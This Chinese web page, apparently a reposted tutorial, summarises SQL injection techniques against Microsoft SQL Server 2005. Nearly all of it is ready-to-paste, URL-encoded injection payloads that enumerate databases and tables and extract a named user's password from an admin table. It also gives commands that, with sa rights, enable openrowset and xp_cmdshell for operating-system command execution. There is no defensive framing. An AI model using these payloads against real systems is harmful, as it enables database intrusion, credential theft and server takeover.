栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 数据库 > MySQL > MsSql

mssql2005注入方法小结

MsSql 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

mssql2005注入方法小结

爆库语句,修改红色部分的数字挨个猜出库
and(selecttop1isnull(cast([name]asnvarchar(500)),char(32))%2bchar(124)from[master].[dbo].[sysdatabases]wheredbidin(selecttop1dbidfrom[master].[dbo].[sysdatabases]orderbydbiddesc))%3d0--

爆表语句,somedb部份是所要列的数据库,红色数字1累加
and(selecttop1cast(nameasvarchar(200))from(selecttop1namefromsomedb.sys.all_objectswheretype%3dchar(85)orderbyname)torderbynamedesc)%3d0--

爆字段语句,爆表admin里user='icerover'的密码段
And(SelectTop1isNull(cast([password]asvarchar(2000)),char(32))%2bchar(124)From(SelectTop1[password]From[somedb]..[admin]Whereuser='icerover'Orderby[password])TOrderby[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启

开启openrowset
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;--
EXECsp_configure'AdHocDistributedQueries',1;RECONFIGURE;--

开启xp_cmdshell
EXECsp_configure'AdHocDistributedQueries',1;RECONFIGURE;--
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;--
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/170860.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号